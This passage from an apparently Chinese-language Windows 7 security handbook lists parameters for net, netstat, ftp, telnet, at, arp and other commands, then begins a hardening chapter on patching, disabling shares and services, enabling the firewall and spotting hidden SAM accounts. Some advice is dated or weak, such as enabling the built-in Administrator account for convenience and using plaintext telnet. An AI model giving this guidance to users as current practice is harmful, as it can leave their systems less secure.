在“命令提示符”窗口中执行“net accounts/？”命令可以查看该命令的相关参数，其常用的参数及其含义如下。

/forcelogoff:｛minutes｜no｝：设置当用户账户或有效登录时间到期时，在结束用户与服务器的会话前要等待的分钟数。默认值no可以防止强制注销用户。

/maxpwage:｛days｜unlimited｝：设置用户账户密码有效天数的最大值。数值unlimited设置为无时间限制。/maxpwage命令行选项必须大于/minpwage。天数范围为1到49710（即unlimited的值等于49710天），默认值为90天。

/minpwage:days：设置在用户可以更改新密码前的最小天数。默认值为0天，从而不设置最短时间。该范围是0到49710天。

/uniquepw:number：要求用户不要为更改密码时指定的number重复相同的密码。密码更改的范围为0到24，默认值是5。

/domain：对当前域的主域控制器执行操作。否则，操作将在本地计算机上执行。

例6　使用net share命令管理共享资源

net share命令用于管理共享资源。使用不带参数的net share命令可以显示本地计算机上所有的共享资源，在net share后跟“share name（共享名称）”可显示该共享的详细信息，命令格式为：net share＋空格＋share name。

为帮助读者更深入地了解net share命令，下面为大家介绍一些该命令常用的参数。

drive:path：用于指定要共享目录的绝对路径。

/users:number：用于设置可同时访问共享资源的最多用户数。

/unlimited：用于指定可以同时访问共享资源的、数量不受限制的用户。

/remark:"text"：用于为资源添加描述，文本应加上引号。

/cache:automatic：用于启用带自动重新集成的脱机客户缓存。

/cache:manual：用于启用带手动重新集成的脱机客户缓存。

/cache:no：用于提醒客户脱机缓存不合适。

/delete：用于停止共享资源。

例7　使用net start/stop命令管理服务

net start和net stop是一对逆操作，用于启动或停止指定的系统服务。命令格式为：net start/stop［service］。

执行不带参数的net start命令，可以查看本机已启动的所有系统服务。service参数是服务名称，例如执行“net start server”命令，可以启动“server”服务；执行“net stop server”命令，可以停止“server”服务。

需要注意的是，所有net命令接受选项/yes和/no（可缩写为/y和/n），/y选项向命令产生的任何交互式提示自动回答“是”，而/n回答“否”。例如，执行“net stop server”命令会提示确认要停止基于“server”服务的所有服务；而执行“net stop server/y”命令会对该提示自动回答“是”，并直接关闭“server”服务。

小提示

net pause命令用于暂停正在运行的服务。net continue命令用于重新激活挂起的服务。都需要指定service参数，形式如net pause/continue［service］。

例8　认识net命令的其他常见参数

关于net命令常见的参数还有很多，这里不便一一介绍，下面简单介绍一下这些参数，读者可参考其他资料自行学习。

net computer：从域数据库中添加或删除计算机，只能用于域控制器，命令格式：net computer［\\computername｛/add｜/del｝］。

net config：显示正在运行的可配置服务，或者显示和更改服务器服务或工作站服务，命令格式：net config［｛server｜workstation｝］。

net continue：继续由net pause暂停的服务，命令格式：netcontinue service。

net file：显示服务器上所有打开的共享文件名称以及每个文件的文件锁定码（如果有的话）。该命令也可关闭单独的共享文件并删除文件锁定。使用不带参数的net file命令可显示服务器上打开文件的列表，命令格式：net fle［ID［/close］］。

net help：提供可以获得帮助的网络命令和主题列表，或关于特定命令的信息。使用不带参数的net help命可获得帮助的主题的列表，命令格式：net help［command］。

net group：用于添加、显示或修改域中的全局组。此命令只能用于Windows域控制器，命令格式：net group［groupname［/comment:"text"］］［/domain］。

net localgroup：用于添加、显示或修改本地组。命令格式：net localgroup［GroupName［/comment:"text"］］［/domain］。使用不带参数的net localgroup命令可显示本机上的所有用户组名称。

小提示

net命令的部分参数只能在Windows NT或Windows 2000 Server操作系统中使用。而有一些net命令是马上产生作用并永久保存的，使用的时候要慎重。

例9　使用netstat命令查看网络连接信息

使用netstat命令可以查看活动的TCP连接、计算机侦听的端口、以太网统计信息、IP路由表、IPv4统计信息（对于IP、ICMP、TCP和UDP协议）以及IPv6统计信息（对于IPv6、ICMPv6、通过IPv6的TCP以及通过IPv6的UDP协议）。例如，使用不带参数的netstat命令可以显示活动的TCP连接。使用带-e–s参数的netstat命令可以显示以太网统计信息和所有协议的统计信息。

netstat的常用语法：netstat［-a］［-e］［-n］［-o］［-p Protocol］［-r］［-s］［Interval］。其常用参数及其含义如下。

-a：显示所有活动TCP连接及本机侦听的TCP和UDP端口。

-e：显示以太网统计信息，如发送和接收的字节数、数据包数。该参数可以与-s结合使用。

-n：显示活动的TCP连接，不过，只以数字形式表现地址和端口号，却不尝试确定名称。

-o：显示活动的TCP连接并包括每个连接的进程ID（PID）。可以在Windows任务管理器中的“进程”选项卡上找到基于PID的应用程序。该参数可以与-a、-n和-p结合使用。

-p Protocol：显示Protocol所指定的协议的连接。在这种情况下，Protocol可以是tcp、udp、tcpv6或udpv6。如果该参数与-s一起使用按协议显示统计信息，则Protocol可以是tcp、udp、icmp、ip、tcpv6、udpv6、icmpv6或ipv6。

-r：显示IP路由表的内容。该参数与route print命令等价。

-s：按协议显示统计信息。默认情况下，显示TCP、UDP、ICMP和IP协议的统计信息。如果安装了Windows XP的IPv6协议，就会显示有关IPv6上的TCP、IPv6上的UDP、ICMPv6和IPv6协议的统计信息。可以使用-p参数指定协议集。

Interval：每隔Interval秒重新显示一次选定的信息。按“Ctrl＋C”组合键停止重新显示统计信息。如果省略该参数，netstat将只打印一次选定的信息。

例10　使用ftp命令上传文件

ftp命令用于将文件传输到运行文件传输协议（FTP）服务器服务（如Internet信息服务）的计算机上，或者从这台计算机下载文件。

1．登录FTP服务器

要与指定的FTP服务器进行文件的上传或下载，需要先登录到对应的服务器中，登录FTP服务器的方法如下。

01 　单击桌面左下角的“开始”按钮，在弹出的开始菜单的搜索框中执行“cmd”命令，打开“命令提示符”窗口，然后执行“ftp”命令。

02 　输入FTP服务器的地址，本例服务器地址为“zhuangwen.gnway.net”，这里应输入“open zhuangwen.gnway.net”，然后按下“Enter”键。

03 　输入用户名，例如“www.iqyy.com”并按“Enter”键。然后输入账户密码，按“Enter”键登录指定服务器。

04 　FTP服务器登录成功后，在命令提示符中执行“dir”命令，可查看目标服务器上的文件和文件夹。

2．上传文件

如果想要向目标FTP服务器上传文件，则可按照下面的方法来进行操作。

01 　登录目标FTP服务器，指定要上传文件的路径，例如，要上传的文件在F盘根目录下，则执行“lcd F:\”命令。

02 　系统会定位到指定的目录，接着指定要上传的文件，本例为“QQ.txt”文本文件，则执行“put QQ.txt”命令，开始上传。上传完成后，系统会提示命令执行成功。

例11　使用ftp命令下载文件

想要从目标FTP服务器上下载文件，则可按照下面的操作来实现。

01 　登录目标FTP服务器，指定文件下载后的保存位置，例如，要将文件下载到F盘的根目录下，则执行“lcd F:\”命令，系统会自动定位到指定目录下。

02 　指定要下载的文件，本例下载“庄文的Q Q：191351988.txt”文本文件，则执行“get庄文的QQ：191351988.txt”命令，然后系统会自动完成下载指定文件。

此外，还有很多关于ftp命令的语法和参数，这里不便一一罗列，有兴趣的读者可参考相关书籍继续学习。

例12　使用telnet命令登录远程电脑

Telnet协议是TCP/IP协议族中的一员，是Internet远程登录服务的标准协议和主要方式。通过该命令，用户能够在本地计算机上实现对其他主机的远程控制。下面来看看telnet命令的用法。

01 　打开“命令提示符”窗口，在其中指定要登录的远程计算机，本例要登录的远程计算机的IP地址为：192.168.1.254，则执行“telnet 192.168.1.254”命令。

02 　系统提示执行此操作会将密码信息发送到Internet区域内的一台计算机上，并询问是否发送，这里输入“n”，然后按下“Enter”键。

03 　在“login”后方输入目标主机的账户名，按下“Enter”键，再在“password”后输入账户密码，然后再次按下“Enter”键。这里输入的密码是隐藏的，在实际操作时应特别注意输入的字符顺序和大小写状态。

04 　系统会进入到目标主机的C盘中，至此即可对目标主机进行操作了，例如，要删除D盘下的“she”文件夹，则可先输入“d：”命令，按下“Enter”键，进入D盘，然后再执行“rd she”命令即可。

05 　待所有操作完成后，执行“exit”命令可返回到当前用户，如果要退出，直接单击窗口右上角的“关闭”按钮即可。

例13　安装并启用telnet服务

默认情况下，Windows 7操作系统中未安装远程telnet服务，在实际操作时，需要先安装telnet服务并启动该服务，下面介绍具体的操作方法。

01 　在系统桌面上双击“计算机”图标，打开“计算机”窗口，在工具栏中单击“卸载或更新程序”按钮。

02 　在打开的“程序和功能”窗口中，单击“打开或关闭Windows功能”链接。

03 　在弹出的对话框中勾选“Telnet服务器”和“Telnet客户端”复选框，然后单击“确定”按钮进行安装。

04 　安装完成后，按“Win＋R”组合键，在弹出的“运行”对话框中执行“services.msc”命令。

05 　在打开的“服务”窗口中双击“telnet”服务项，在弹出的对话框中启动“telnet”服务即可。

小提示

虽然telnet的应用方便了我们进行远程登录，但也给hacker们提供了又一种入侵手段和后门，所以在不使用该服务时应将其关闭。

例14　使用at命令执行任务

at命令用于列出在指定的时间和日期在计算机上运行的已计划命令或计划命令和程序。必须正在运行“计划”服务才能使用at命令。使用不带参数的at命令可以显示当前的计划任务列。

使用“at 18:00 shutdown–s–t 30”命令，可以将电脑设置在18:00自动关机，并且关机前延迟30秒。

at命令常用的语法为：at［\\computername］［［id］［/delete］｜/delete［/yes］］和at［\\computer name］time［/interactive］［/every:date［，…］｜/next:date［，…］］command。

\\computername：指定远程计算机。如果省略该参数，命令将安排在本地计算机。

id：指定指派给已计划命令的识别码。

/delete：取消已计划的命令。如果省略了id，计算机中已计划的命令将被全部取消。

/yes：当删除已计划的事件时，对系统的查询强制进行肯定的回答。

time：指定运行命令的时间。将时间以24小时标记（00:00［午夜］到23:59）的方式表示为小时：分钟。

/interactive：允许作业与在作业运行时登录用户的桌面进行交互。

/every:date［，…］：在每个星期或月的指定日期（例如，每个星期四，或每月的第三天）运行命令。将date指定为星期的一天或多天（M，T，W，Th，F，S，Su），或月的一天或多天（使用1到31的数字）。用逗号分隔多个日期项。如果省略了date，将假定为该月的当前日期。

/next:date［，…］：在重复出现下一天（如下个星期四）时，运行指定命令将date指定为星期的一天或多天（M，T，W，Th，F，S，Su），或者月的一天或多天（使用1到31的数字）。用逗号分隔多个日期项。如果省略了date，将假定为该月的当前日期。

command：指定要运行的Windows命令、程序（.exe或.com文件）或批处理程序（.bat或.cmd文件）。当命令需要路径作为参数时，请使用绝对路径，也就是从驱动器号开始的整个路径。如果命令在远程计算机上，请指定服务器和共享名的UNC符号，而不是远程驱动器号。如果命令不是可执行（.exe）文件，必须在命令前加上cmd/c。

例15　使用arp命令显示与修改本地ARP信息

arp命令用于显示和修改“地址解析协议（ARP）”缓存中的项目。ARP缓存中包含一个或多个表，它们用于存储IP地址及其经过解析的以太网或令牌环物理地址。电脑上安装的每个以太网或令牌环网络适配器都有自己单独的表。使用不带任何参数的arp命令，可显示arp命令的帮助信息。

arp命令的语法为：arp［-a［InetAddr］［-N IfaceAddr］］［-g［InetAddr］［-N IfaceAddr］］［-d InetAddr［IfaceAddr］］［-s InetAddr EtherAddr［IfaceAddr］］。其常用参数及其含义如下。

-a［InetAddr］［-N IfaceAddr］：显示所有接口的当前ARP缓存表。要显示指定IP地址的ARP缓存项，使用带有InetAddr参数的arp-a，InetAddr代表指定的IP地址。要显示指定接口的ARP缓存表，请使用-N IfaceAddr参数，IfaceAddr代表分配给指定接口的IP地址，-N参数区分大小写。

-g［InetAddr］［-N IfaceAddr］：与-a相同。

-d InetAddr［IfaceAddr］：删除指定的IP地址项，InetAddr代表IP地址。对于指定的接口，要删除表中的某项，请使用IfaceAddr参数，IfaceAddr代表分配给该接口的IP地址。要删除所有项，请使用星号（*）通配符代替InetAddr。

-s InetAddr EtherAddr［IfaceAddr］：向ARP缓存添加可将IP地址InetAddr解析成物理地址EtherAddr的静态项。要向指定接口的表添加静态ARP缓存项，请使用IfaceAddr参数，IfaceAddr代表分配给该接口的IP地址。

例16　使用systeminfo命令显示系统信息

systeminfo命令用于显示计算机上的系统信息，如：操作系统及其配置、安全信息、产品ID，硬件属性、RAM、磁盘空间和网卡。使用不带任何参数的systeminfo命令，可以显示当前计算机中的系统信息。使用指定的参数，还可以显示远程计算机中的相关信息。

systeminfo命令的语法为：systeminfo［/s Computer［/u Domain\User［/p Password］］］［/fo｛TABLE｜LIST｜CSV｝］［/nh］。其常用参数及其含义如下。

/s Computer：指定远程计算机名称或IP地址（不能使用反斜杠）。默认值是本地计算机。

/u Domain\User：运行具有由User或Domain\user指定用户账户权限的命令。默认为当前登录发布命令的计算机用户权限。

/p Password：指定用户账户密码，该账户在/u参数中指定。

/fo｛TABLE｜LIST｜CSV｝：指定输出所用的格式。有效值为TABLE、LIST和CSV。输出的默认格式为LIST。

/nh：取消输出结果中的列标题。当/fo参数设置为TABLE或CSV时有效。

例17　使用nslookup命令诊断域名系统

nslookup命令用于显示可用来诊断域名系统（DNS）基础结构的信息，该命令只有在已安装TCP/IP协议的情况下才可以使用。

nslookup的常用语法为：nslookup［-SubCommand …］［｛ComputerToFind｜［-Server］｝］

-SubCommand…：将一个或多个nslookup子命令指定为命令行选项。

ComputerToFind：如果未指定其他服务器，就使用当前默认DNS名称服务器查阅ComputerToFind的信息。要查找不在当前DNS域的计算机，请在名称上附加句点。

-Server：指定将该服务器作为DNS名称服务器使用。如果省略了-Server，将使用默认的DNS名称服务器。

此外，在使用nslookup命令时，还需要了解以下几点。

如果ComputerToFind是IP地址，并且查询类型为A或PTR资源记录类型，则返回计算机的名称。如果ComputerToFind是一个名称，并且没有跟踪期，则向该名称添加默认DNS域名。此行为取决于下面set子命令的状态：domain、srchlist、defname和search。

如果输入连字符（-）代替ComputerToFind，命令提示符更改为nslookup交互式模式。

命令行长度必须少于256个字符。

nslookup有两种模式：交互式和非交互式。

如果仅需要查找一块数据，请使用非交互式模式。对于第一个参数，输入要查找的计算机的名称或IP地址。对于第二个参数，输入DNS名称服务器的名称或IP地址。如果省略第二个参数，nslookup使用默认DNS名称服务器。

如果需要查找多块数据，可以使用交互式模式。为第一个参数输入连字符（-），为第二个参数输入DNS名称服务器的名称或IP地址，或者省略两个参数，则nslookup使用默认DNS名称服务器。下面是一些有关在交互式模式下工作的提示：

要随时中断交互式命令，请按“Ctrl＋B”组合键。

要退出，请执行exit命令。

要将内置命令当作计算机名，请在该命令前放置转义字符（\）。

如果查找请求失败，nslookup将打印错误消息，下面为读者解读可能出现的错误消息。

Timed out：重试一定时间和一定次数之后，服务器没有响应请求。可以通过set timeout子命令设置超时期。而利用set retry子命令设置重试次数。

No response from server：服务器上没有运行DNS名称服务器。

No records：尽管计算机名有效，但是DNS名称服务器没有计算机当前查询类型的资源记录。查询类型使用set querytype命令指定。

Nonexistent domain：计算机或DNS域名不存在。

Connection refused：无法与DNS名称服务器或指针服务器建立连接。该错误通常发生在ls和fnger请求中。

Connection refused or Network is unreachable：DNS名称服务器发现在其数据库中内部不一致而无法返回有效应答。

Network is unreachable：DNS名称服务器拒绝为请求服务。

Server failure：DNS名称服务器发现请求数据包的格式不正确，可能表明nslookup中存在错误。

例18　使用ipconfig命令查看网络配置信息

ipconfg命令用于查看所有当前的TCP/IP网络配置值、刷新动态主机配置协议（DHCP）和域名系统（DNS）设置。使用不带参数的ipconfg可以显示所有适配器的IP地址、子网掩码、默认网关。使用带有指定参数的ipconfg命令，还可以获取更多信息。

ipconfig的语法为：ipconfig［/all］［/renew［adapter］］［/release［adapter］］［/flushdns］［/displaydns］［/showclassid adapter］。其常用参数及其含义如下。

/all：显示所有适配器的完整TCP/IP配置信息。在没有该参数的情况下ipconfg只显示IP地址、子网掩码和各个适配器的默认网关值。适配器可以代表物理接口（例如安装的网络适配器）或逻辑接口（例如拨号连接）。

/renew［adapter］：更新所有适配器（如果未指定适配器）或特定适配器（由adapter参数指定，使用不带参数的ipconfg命令可查看适配器名称）的DHCP配置。该参数仅在网卡采用“自动获取IP地址”方式时可用。

/release［adapter］：发送DHCPRELEASE消息到DHCP服务器，以释放所有适配器（如果未指定适配器）或特定适配器（由adapter参数指定，使用不带参数的ipconfg命令可查看适配器名称）的当前DHCP配置并丢弃IP地址配置。该参数可以禁用配置为自动获取IP地址的适配器的TCP/IP。

/flushdns：清理并重设DNS客户解析器缓存的内容。如有必要，在DNS疑难解答期间，可以使用本过程从缓存中丢弃否定性缓存记录和任何其他动态添加的记录。

/displaydns：显示DNS客户解析器缓存的内容，包括从本地主机文件预装载的记录以及由计算机解析的名称查询而最近获得的任何资源记录。DNS客户服务在查询配置的DNS服务器之前使用这些信息快速解析被频繁查询的名称。

/showclassid adapter：显示指定适配器的DHCP类别ID。要查看所有适配器的DHCP类别ID，使用（*）通配符代替adapter。该参数仅在网卡采用“自动获取IP地址”方式时可用。

第3章　Windows系统安全防范

3.1　修补系统漏洞

系统漏洞是威胁系统安全的主要因素之一，尽管操作系统的安全性在不断完善，但是仍不可避免地存在安全漏洞，其制造商也会不定期发布系统补丁。用户应该及时更新操作系统，以预防感染电脑病毒或黑客入侵。

例1　利用系统更新及时修复系统漏洞

Windows系列操作系统在发布后，微软公司会针对在使用过程中产生的漏洞及时发布对应的补丁程序。通过系统自带的“Windows Update”功能，可以快速下载并安装系统补丁，具体操作如下。

01 　在桌面左下角单击“开始”按钮，在弹出的“开始”菜单中依次单击“所有程序”→“Windows Update”命令。

02 　在打开的“Windows Update”窗口中，单击左侧任务列表中的“检查更新”按钮。

03 　系统会自动搜索可用的更新。搜索完成后，如果有可用更新，会显示可用的补丁数目，单击“安装更新”按钮。

04 　开始下载补丁程序，下载完成后，开始安装系统更新程序。如果更新的文件较多，会多消耗一些时间。

05 　补丁安装完成后，需要重新启动才能生效，此时单击“立即重新启动”按钮，待电脑重新启动后，系统漏洞也就修补完成了。

例2　让操作系统定时自动更新

除了手动更新系统外，用户还可以通过更改系统设置，让“Windows Update”功能在指定的时间段自动下载并安装系统补丁，具体操作如下。

01 　在桌面左下角单击“开始”按钮，在“开始”菜单中依次单击“所有程序”→“Windows Update”命令。

02 　打开“Windows Update”窗口，单击左侧任务列表中的“更改设置”链接。

03 　打开“更改设置”窗口，在“重要更新”栏中开启自动更新功能并设置自动更新的时间和频率。然后单击“确定”按钮即可。

例3　用360安全卫士修复系统漏洞

除了系统自带的更新程序外，QQ电脑管家、360安全卫士、金山卫士等安全辅助类软件也带有系统漏洞修复功能。借助这些软件可轻松、愉快地完成系统更新。这类软件的操作类似，这里以QQ电脑管家为例进行介绍。

01 　下载并安装最新版本的QQ电脑管家。

02 　启动QQ电脑管家，在主页面中单击“修复漏洞”按钮。

03 　切换到“修复漏洞”界面，程序将扫描出系统存在的漏洞，在列表中勾选要修复的漏洞，然后单击“立即修复”按钮。

04 　程序开始下载补丁程序，下载完成后会自动在后台进行安装，安装完成后会提示修复完成。有些补丁程序需要重启电脑，此时，保存当前正在进行的工作，然后重启电脑使更新生效即可。

例4　卸载已安装的系统补丁

如果安装某个补丁后系统出现异常，或导致其他软件无法正常使用，可以将该补丁卸载。卸载系统补丁的方法如下。

01 　在桌面左下角单击“开始”按钮，在“开始”菜单中依次单击“所有程序”→“Windows Update”命令。

02 　打开“Windows Update”窗口，单击左侧任务列表中的“查看更新历史记录”链接。

03 　在打开的“查看更新历史记录”窗口中，单击“已安装更新”链接。

04 　在打开的“已安装更新”窗口中可以看到已经安装的系统补丁，选中要卸载的补丁程序，然后单击“卸载”按钮。

05 　在弹出的确认对话框中单击“是”按钮，待卸载完成后关闭“Windows Update”窗口即可。

例5　获取升级服务包（Service Pack）

Windows升级服务包（Service Packs）是微软公司针对某一操作系统发布的重大更新包，包含一段时间内该系统的所有修补和增强，例如最新的驱动程序、系统补丁集合以及产品功能更新等。通常操作系统均采用补丁形式进行更新，只有当现重大更新时，才会发布升级服务包。

Windows操作系统用户可以通过操作系统的“Windows Update”功能自动下载并安装升级服务包，也可以登录微软的官方网站下载升级服务包的安装文件，进行手动安装。下面以获取Windows 7操作系统的升级服务包“Service Pack 1”为例进行介绍。

通过“Windows Update”功能获取Windows 7 SP1：将Windows 7操作系统的自动更新功能设置为开启状态，Windows 7会自动通知用户进行SP1的安装。这是最简单、最方便的获取方式，这种方式可减少或避免在安装过程中可能遇到的麻烦。

登录Microsoft官方网站手动获取Windows 7 SP1：如果系统并未自动安装Windows 7 SP1，可以登录微软官方网站，在“Microsoft下载中心（http://www.microsoft.com/downloads）”页面搜索到Windows 7 SP1，然后将其下载并安装即可。

小提示

如果当前已经发行了集成有最新升级服务包的Windows系统版本，则优先选择此类版本的操作系统进行安装，安装后就可不用再单独安装升级服务包了。

需要注意的是：Windows 7升级服务包和系统版本一样，也要区分32位与64位两种版本，对应安装于相应的操作系统中。如果不确定自己所使用的是32位还是64位的操作系统，可以使用鼠标右键单击系统桌面上的“计算机”图标，在弹出的快捷菜单中单击“属性”命令，打开“系统”窗口进行查看，版本信息会显示在“系统”栏中。

例6　安装升级服务包（Service Pack）

下载好升级服务包后，就可以进行安装了。下面以安装Windows 7 Service Pack 1（SP1）升级服务包为例进行介绍。

01 　从网上获取Windows 7 SP1升级服务包的安装文件，完成后双击升级服务包安装文件。

02 　在打开的安装界面中单击“下一步”按钮。

03 　在弹出的对话框中，勾选“自动重新启动计算机”复选框，然后单击“安装”按钮。

04 　程序开始进行安装，安装完成后会自动重新启动电脑，并自动完成后续的安装过程。

3.2　系统安全设置

默认情况下，操作系统会开启一些无用的设置和程序。这类设置可能会影响到系统的安全。我们需要根据实际情况进行一些设置。从而有效地保护电脑系统不受病毒、木马以及黑客入侵等威胁。

例1　获取Administrator管理员权限

Administrator账户是系统内置的管理员账户，具有最高的系统管理权限。该账户默认处于禁用状态。在Windows 7操作系统中，当执行的操作会修改系统设置时，均需要以管理员身份进行操作。为了减少麻烦，可开启Administrator账户，以获取最高的系统管理权限。开启方法如下。

01 　在系统桌面上右键单击“计算机”图标，在弹出的快捷菜单中单击“管理”命令，打开“计算机管理”窗口。

小提示

在“开始”菜单的搜索框中输入“compmgmt.msc”或“计算机管理”，按“Enter”键，也可打开“计算机管理”窗口。

02 　在左侧窗格中依次展开“本地用户和组”→“用户”分支，在中间窗格中双击“Administrator”账户。

03 　在弹出的对话框中取消勾选“账户已禁用”复选框。然后单击“确定”按钮。

04 　注销当前用户账户，以Administrator账户登录操作系统，即可使用该管理员权限了。

如果当前用户不是Administrator账户，在执行程序时，可以右键单击要执行的程序，然后在弹出的快捷菜单中单击“以管理员身份运行”命令，可临时获取管理员权限。这种方式不用开启Administrator账户，但每次操作仅当次有效。

例2　禁用系统中的来宾账户

来宾账户是供来宾访问电脑或访问域的内置账户。虽然来宾账户没有系统权限，但是它的存在威胁着电脑的安全，一些高手可以通过提升它的权限来达到入侵系统的目的。默认情况下，系统中的来宾账户是开启的，建议用户将其禁用。

01 　在系统桌面上右键单击“计算机”图标，在弹出的菜单中单击“管理”命令。

02 　在打开的窗口中依次展开“系统工具”→“本地用户和组”目录，在“用户”界面双击“Guest”用户。

03 　在打开的“Guest属性”对话框中勾选“账户已禁用”复选框，然后单击“确定”按钮，关闭对话框即可。

小提示

此外也可以打开“控制面板”窗口，进入“用户账户”界面，单击“管理其他账户”链接，然后在打开的界面中关闭来宾账户。

例3　通过禁用服务禁止他人远程修改注册表

默认情况下，Windows操作系统允许远程修改注册表。为了提高操作系统的安全性，可以执行以下操作，禁止他人远程修改注册表。

01 　在桌面左下角单击“开始”按钮，弹出“开始”菜单。在搜索框中输入“services.msc”命令并按“Enter”键。

02 　在打开的“服务”窗口下方，单击“标准”按钮。在右侧窗格中双击“Remote Registry”服务项。

03 　在弹出的对话框中将“启动类型”设置为“禁用”。单击“停止”按钮停止该服务。单击“确定”按钮并重新启动电脑即可。

例4　通过命令行关闭默认共享

Windows 2000及以后版本的操作系统中都提供了默认共享功能，这些默认共享都带有“$”标志（意为隐含共享，不会显示在网络共享中），包括所有的逻辑分区（C$，D$，E$……）、系统目录（ADMIN$）及远程管理（IPC$）。

小提示

IPC$（Internet Process Connection）是系统为了让进程间通信而开放的命名管道，黑客通过它可以获取到目标主机上的用户列表，进而可获取更高的用户权限。当拥有足够的权限后，就可以在目标主机上运行程序、创建用户、并对主机中的资料进行复制、窜改或删除等操作，危害性很大。

默认情况下，操作系统开启了默认共享，此时他人可以通过访问默认共享侵入电脑，危害性很大。如果电脑接入了局域网，建议关闭默认共享。下面介绍通过“net share*/del”命令关闭默认共享的方法。

01 　在系统桌面左下角单击“开始”按钮，在弹出的“开始”菜单中依次单击“所有程序”→“附件”命令，在展开的“附件”列表中右键单击“命令提示符”命令，然后在弹出的快捷菜单中单击“以管理员身份运行”命令，打开“命令提示符”窗口。

02 　在命令提示符下输入“net share”命令，按“Enter”键查看系统中已开启的默认共享。

03 　在命令提示符下输入“net share*/del”命令（“*”代表要关闭的共享名，如C$、D$等），按“Enter”键删除指定的默认共享。

小提示

在使用“net share*/del”命令关闭共享时，共享名称前后都有一个空格。

04 　在命令提示符下重复执行“net share*/del”命令即可删除所有的默认共享。

通过以上操作只是关闭了当前已开启的默认共享，但该操作并没有修改系统中的相关设置，当重启电脑后，默认共享会再次出现。

例5　通过禁用服务永久关闭默认共享

当用户电脑没有接入局域网或不进行局域网共享等操作时，可以通过关闭“Server”服务来永久关闭默认共享，具体操作如下。

01 　在系统桌面左下角单击“开始”按钮，在“开始”菜单的搜索框中执行“services.msc”命令，打开“服务”窗口。

小提示

在控制面板中，切换到“大图标”查看方式，然后单击“管理工具”项，在打开的窗口中双击“服务”项，也可以打开“服务”窗口。

02 　切换到“标准”视图模式，在服务列表中找到并双击“Server”服务项。

03 　在打开的服务属性对话框中单击“启动类型”栏的下拉按钮，在弹出的菜单中单击“禁用”命令，然后单击“确定”按钮即可。

例6　当用户离开时快速锁定桌面

当用户有事离开电脑时，应关闭计算机或锁定桌面，以防其他人使用电脑。通常的做法是通过“开始”菜单命令来进行操作，下面介绍一种更加方便的方法。

01 　在桌面的空白处单击鼠标右键，在快捷菜单中选择“新建”→“快捷方式”命令。

02 　在弹出的对话框中输入“rundll32.exe user32.dll，Loc-kWorkStation”，并单击“下一步”按钮。

03 　在“想为哪个对象创建快捷方式”对话框中输入快捷方式的名称“锁定计算机”，单击“完成”按钮即可。

上述快捷方式创建完成后，在离开电脑旁或需要锁定桌面时，对该快捷方式双击鼠标左键即可。

例7　开启Windows防火墙

Windows防火墙是Windows操作系统自带的防火墙软件，它可以有效地阻止外网的恶意程序和黑客攻击。Windows 7操作系统中默认开启了Windows防火墙。如果发现防火墙处于停用状态，可通过下面的方法将其开启。

01 　在桌面左下角单击“开始”按钮，在弹出的“开始”菜单中单击“控制面板”命令。

02 　在打开的“控制面板”窗口中，将“查看方式”设置为“大图标”方式，单击“Windows防火墙”选项。

03 　在打开的“Windows防火墙”窗口中单击“打开或关闭Windows防火墙”链接。

04 　在弹出的“Windows防火墙设置”窗口中，在当前的网络位置下方选择“启用”单选项，然后单击“确定”按钮即可。

小提示

对于笔记本电脑用户而言，在机场、咖啡厅等公共场所使用公共Wi-Fi接入点时，有必要将网络位置设置为“公用”，并勾选“阻止所有传入连接”复选框，通过Windows防火墙禁用所有的入站连接，以提高网络安全。

开启Windows防火墙后，防火墙会根据配置的规则，监控电脑中运行的程序，以及想要访问网络的程序。当用户启动某个要访问网络的程序时，如果该程序未经许可，会弹出“Windows安全警报”对话框提示用户。在“Windows安全警报”对话框中有两种选择。

如果不信任该程序，单击“取消”按钮，可以阻止该程序连接网络。下次启动该程序时，仍然会弹出“Windows安全警报”对话框要求用户选择操作。

如果信任该程序，单击“允许访问”按钮，允许该程序连接网络，同时将其添加到Windows防火墙的允许程序列表中，下次使用时不再弹出“Windows安全警报”对话框。

例8　为Windows防火墙添加入站规则

通常情况下，Windows防火墙会根据默认的入站规则来监控系统。如果需要添加应用程序的入站规则，可以执行以下操作。

01 　在桌面左下角单击“开始”按钮，在弹出的“开始”菜单中单击“控制面板”命令。

02 　在打开的“控制面板”窗口中，将“查看方式”设置为“大图标”方式，单击“Windows防火墙”选项。

03 　在打开的“Windows防火墙”窗口左侧的任务列表中单击“允许程序或功能通过Windows防火墙”链接。

04 　在打开的“允许的程序”窗口中，可以看到列表框中的设置项不可用，单击“更改设置”按钮，让列表框中的设置项变为可用状态，然后单击“允许运行另一程序”按钮。

小提示

如果需要删除某个Windows防火墙入站规则，可以在“允许的程序或功能”列表框中选择要删除的入站规则，单击下方的“删除”按钮，在弹出的对话框中单击“是”按钮即可。

05 　在弹出的“添加程序”对话框中，在“程序”列表框中选择要添加的程序。单击“添加”按钮。如果没有要添加的程序，可单击“浏览”按钮来选择程序。

06 　返回到“允许的程序”窗口，在列表框中会显示并默认勾选了要添加的程序，在后面勾选合适的网络位置。单击“确定”按钮即可。

小提示

Windows 7防火墙具有入站和出站规则的双向管理功能，通过设置应用程序的入站和出站规则，可以灵活保护不同网络环境中的网络安全。

例9　设置代理服务器隐藏IP

我们知道，黑客可以通过IP地址找到本地计算机，进入计算机进行入侵操作，为了避免这种情况的发生，可以设置代理服务器来隐藏本机IP地址，具体操作如下。

01 　打开IE浏览器，按下“Alt”键激活菜单栏，然后依次单击“工具”→“Internet选项”菜单命令。

02 　在打开的对话框中切换到“连接”选项卡，然后单击“局域网设置”按钮。

03 　在打开的对话框中勾选“为LAN使用代理服务器”复选框，在“地址”文本框中输入代理服务器地址，端口保存默认设置，然后单击“确定”按钮并关闭所有对话框即可。

3.3　注册表安全设置

注册表是电脑中用于存储操作系统和软件配置信息的数据库，其中一些键值项直接关系到系统的安全，通过对注册表进行安全设置，修改这些键值项，可以在一定程度上提高操作系统的安全性。

例1　揪出隐藏的超级用户

一些比较高明的黑客，可以通过修改注册表等手段（HKEY_LOCAL_MA-CHINE\SAM子键）创建隐蔽的超级用户，并且在账户管理器上看不到该用户，当命令行用“net user”命令时也看不到。如何发现这个隐藏的超级用户呢？

由于黑客在创建隐藏的超级用户时修改了HKEY_LOCAL_MACHINE\SAM子键，因此只要将事先备份好的该子键与当前同一子键相对照，就能发现隐藏账户。将备份的子键导入注册表，即可清除隐藏账户。

01 　在桌面左下角单击“开始”按钮，在“搜索”文本框中执行“regedit”命令，打开“注册表编辑器”窗口。

02 　在窗口左侧依次展开“HKEY_LOCAL_MACHIN-E\SAM”分支，右键单击SAM子键，在快捷菜单中选择“权限”命令。

